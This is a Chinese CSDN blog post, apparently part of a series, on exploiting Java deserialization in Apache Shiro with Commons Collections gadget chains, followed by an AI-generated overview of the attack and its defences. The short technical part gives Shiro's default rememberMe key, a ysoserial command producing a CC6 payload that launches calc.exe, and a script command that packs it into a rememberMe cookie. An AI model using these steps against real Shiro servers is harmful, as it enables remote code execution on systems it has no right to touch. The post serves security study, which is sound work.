Java反序列化(十一)CommonCollectionsK1分析及在Shiro中的利用

本文详细分析了如何利用CommonCollectionsK1进行Java反序列化攻击,特别是在Shiro框架中的应用。通过研究错误信息,揭示了Shiro反序列化过程中的类加载机制,指出其与标准加载方式的区别,特别是对于数组类型的处理。在构造payload的过程中,解释了为何需要避免使用数组以及如何处理HashMap以防止早期触发异常,确保payload的成功构造和执行。
摘要由CSDN通过智能技术生成

前言

在Shiro中的利用可真是复杂

利用CC6攻击Shiro

使用CC6链生成payload,进行利用。shiro 1.2.4以下默认使用密钥为kPH+bIxk5D2deZiIxcaaaA==

通过yso获取序列化对象。

java -jar ysoserial.jar CommonsCollections6 "calc.exe" > result.ser

然后通过Serfile_to_rememberme.py生成payload。

python3 Serfile_to_rememberme.py kPH+bIxk5D2deZiIxcaaaA== result.ser > 1.txt

工具地址:https://github.com/Vicl1fe/Tools/blob/main/%E5%B0%8F%E5%B7%A5%E5%85%B7/Shiro%E5%BA%8F%E5%88%97%E5%8C%96%E6%96%87%E4%BB%B6%E8%BD%ACrememberMe/Serfile_to_rememberme.py

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Shiro是一个被广泛应用于Java应用程序的安全框架,它提供了身份验证、授权、会话管理等功能。由于Shiro在处理用户会话序列化时存在一些安全漏洞,攻击者可以利用这些漏洞进行反序列化攻击。 反序列化攻击是一种利用Java对象序列化机制的攻击方法。攻击者可以通过构造恶意的序列化数据,将其传递给目标应用程序,然后利用漏洞触发目标应用程序对恶意数据的反序列化操作。这样一来,攻击者就能够在目标系统上执行任意代码,从而导致严重的安全问题。 为了利用Shiro反序列化漏洞,攻击者需要先找到目标系统使用了Shiro的应用程序。然后,攻击者可以使用开源的反序列化利用工具,如ysoserial或ShiroExploit,生成恶意的序列化数据。这些工具可以方便地构造包含恶意代码的序列化对象,并将其序列化为字节流。 一旦攻击者生成了恶意的序列化数据,他们就可以通过各种方式将其传递给目标应用程序,例如通过网络传输、文件上传等方式。当目标应用程序接收到这些恶意数据并进行反序列化操作时,恶意代码就会在目标系统上执行。 为了防止Shiro反序列化利用工具的攻击,开发人员可以采取以下措施: 1. 及时更新Shiro版本:Shiro开发团队会定期修复漏洞并发布新版本。开发人员应及时更新Shiro框架,以修复已知的反序列化漏洞。 2. 停用或限制不必要的Shiro功能:如果应用程序不需要某些Shiro功能,开发人员可以将其禁用或限制,以降低攻击面。 3. 输入验证与过滤:开发人员应该对用户输入进行严格的验证和过滤,以防止恶意的序列化数据被传递到应用程序。 4. 序列化对象白名单:在反序列化时,开发人员可以使用白名单机制,限制只允许特定的序列化对象进行反序列化操作。 总之,Shiro反序列化利用工具是一种攻击手段,开发人员应该重视相关安全漏洞,并采取适当的措施来保护应用程序免受此类攻击的影响。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Vicl1fe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值